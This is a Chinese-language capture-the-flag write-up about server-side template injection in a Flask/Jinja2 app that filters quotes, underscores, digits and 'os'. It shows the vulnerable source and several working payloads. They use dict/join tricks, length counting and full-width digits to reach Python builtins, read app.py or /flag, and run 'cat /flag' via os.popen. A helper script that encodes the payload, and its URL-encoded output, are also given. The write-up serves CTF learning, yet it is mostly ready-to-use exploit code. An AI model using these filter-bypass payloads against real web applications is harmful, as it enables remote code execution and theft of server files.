Werkzeug/1.0.1Python/3.8.7
看源码EXP
{%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set x=(()|select|string|list).pop(num)%}{%set glob = (x,x,dict(globals=a)|join,x,x)|join %}{%set builtins=x~x~(dict(builtins=a)|join)~x~x%}{%set c = dict(chr=a)|join%}{%set o = dict(o=a,s=a)|join%}{%set getitem = x~x~(dict(getitem=a)|join)~x~x%}{%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%}{%set file = dict(app=a)|join~chr(numm)~dict(py=a)|join%}{%print((lipsum|attr(glob)|attr(getitem)(builtins)).open(file).read())%}
源码
from flask import Flaskfrom flask import requestfrom flask import render_template_stringfrom flask import sessionimport reapp = Flask(__name__)@app.route('/')def app_index():name = request.args.get('name')if name:if re.search(r"\'|\"|args|\[|\_|os|\{\{|request|[0-9]",name,re.I):return ':('template = '''{%% block body %%}<div class="center-content error"><h1>Hello</h1><h3>%s</h3></div>{%% endblock %%}''' % (request.args.get('name'))return render_template_string(template)if __name__=="__main__":app.run(host='0.0.0.0',port=80)
过滤了数字,翻了下 web369的 EXP,也就两个地方用到了数字,问题不大。
翻了下 Jinja2 文档,提供数字的方法还挺多的
https://jinja.palletsprojects.com/en/2.11.x/templates/#int
https://jinja.palletsprojects.com/en/2.11.x/templates/#sum
https://jinja.palletsprojects.com/en/2.11.x/templates/#length
https://jinja.palletsprojects.com/en/2.11.x/templates/#wordcount
不过考虑到过滤数字,int 和 sum 应该可以排除
用 length 试试,因为用 os 模块执行命令会代码量会大点,这里先直接用 open 读文件
{% set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|length %}{% set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|length %}{% set x=(()|select|string|list).pop(num) %}{% set g=x~x~(dict(globals=x)|join)~x~x %}{% set ge=x~x~(dict(getitem=x)|join)~x~x %}{% set b=x~x~(dict(builtins=x)|join)~x~x %}{% set buin=(lipsum|attr(g)|attr(ge))(b) %}{% set chr=buin.chr %}{% set file = chr(numm)~dict(flag=a)|join %}{% print(buin.open(file).read()) %}

当然也可以用 SSRF 或者其他地方学到的思路,即用全角1、2,或者圆圈1、2之类的
先把上一题的 EXP 搬过来
{% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}{% set g=x~x~(dict(globals=x)|join)~x~x %}{% set ge=x~x~(dict(getitem=x)|join)~x~x %}{% set b=x~x~(dict(builtins=x)|join)~x~x %}{% set buin=(lipsum|attr(g)|attr(ge))(b) %}{% set chr=buin.chr %}{% set o=lipsum|attr(g)|attr(ge)(chr(111)+chr(115)) %}{% set cmd=chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103) %}{% print(o.popen(cmd).read()) %}
转换一下
from urllib.parse import quotedef halfnum2full(half):full = ''for ch in half:if ord(ch) in range(48, 58):ch = chr(ord(ch) + 0xfee0)else:passfull += chreturn fullraw = """{% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}{% set g=x~x~(dict(globals=x)|join)~x~x %}{% set ge=x~x~(dict(getitem=x)|join)~x~x %}{% set b=x~x~(dict(builtins=x)|join)~x~x %}{% set buin=(lipsum|attr(g)|attr(ge))(b) %}{% set chr=buin.chr %}{% set o=lipsum|attr(g)|attr(ge)(chr(111)+chr(115)) %}{% set cmd=chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103) %}{% print(o.popen(cmd).read()) %}"""payload = ''for i in raw:payload += halfnum2full(i)print(quote(payload))
运行脚本输出
%7B%25%20set%20x%3D%28%29%7Cselect%7Cstring%7Clist%7Cattr%28dict%28pop%3D%EF%BC%91%29%7Cjoin%29%28%EF%BC%92%EF%BC%94%29%20%25%7D%0A%7B%25%20set%20g%3Dx~x~%28dict%28globals%3Dx%29%7Cjoin%29~x~x%20%25%7D%0A%7B%25%20set%20ge%3Dx~x~%28dict%28getitem%3Dx%29%7Cjoin%29~x~x%20%25%7D%0A%7B%25%20set%20b%3Dx~x~%28dict%28builtins%3Dx%29%7Cjoin%29~x~x%20%25%7D%0A%7B%25%20set%20buin%3D%28lipsum%7Cattr%28g%29%7Cattr%28ge%29%29%28b%29%20%25%7D%0A%7B%25%20set%20chr%3Dbuin.chr%20%25%7D%0A%7B%25%20set%20o%3Dlipsum%7Cattr%28g%29%7Cattr%28ge%29%28chr%28%EF%BC%91%EF%BC%91%EF%BC%91%29%2Bchr%28%EF%BC%91%EF%BC%91%EF%BC%95%29%29%20%25%7D%0A%7B%25%20set%20cmd%3Dchr%28%EF%BC%99%EF%BC%99%29%2Bchr%28%EF%BC%99%EF%BC%97%29%2Bchr%28%EF%BC%91%EF%BC%91%EF%BC%96%29%2Bchr%28%EF%BC%93%EF%BC%92%29%2Bchr%28%EF%BC%94%EF%BC%97%29%2Bchr%28%EF%BC%91%EF%BC%90%EF%BC%92%29%2Bchr%28%EF%BC%91%EF%BC%90%EF%BC%98%29%2Bchr%28%EF%BC%99%EF%BC%97%29%2Bchr%28%EF%BC%91%EF%BC%90%EF%BC%93%29%20%25%7D%0A%7B%25%20print%28o.popen%28cmd%29.read%28%29%29%20%25%7D

替换所有可见字符为全角的完整版
def half2full(half):full = ''for ch in half:if ord(ch) in range(33, 127):ch = chr(ord(ch) + 0xfee0)elif ord(ch) == 32:ch = chr(0x3000)else:passfull += chreturn fullraw = '0123456789't = ''for i in raw:t += '\''+half2full(i)+'\','print(t)
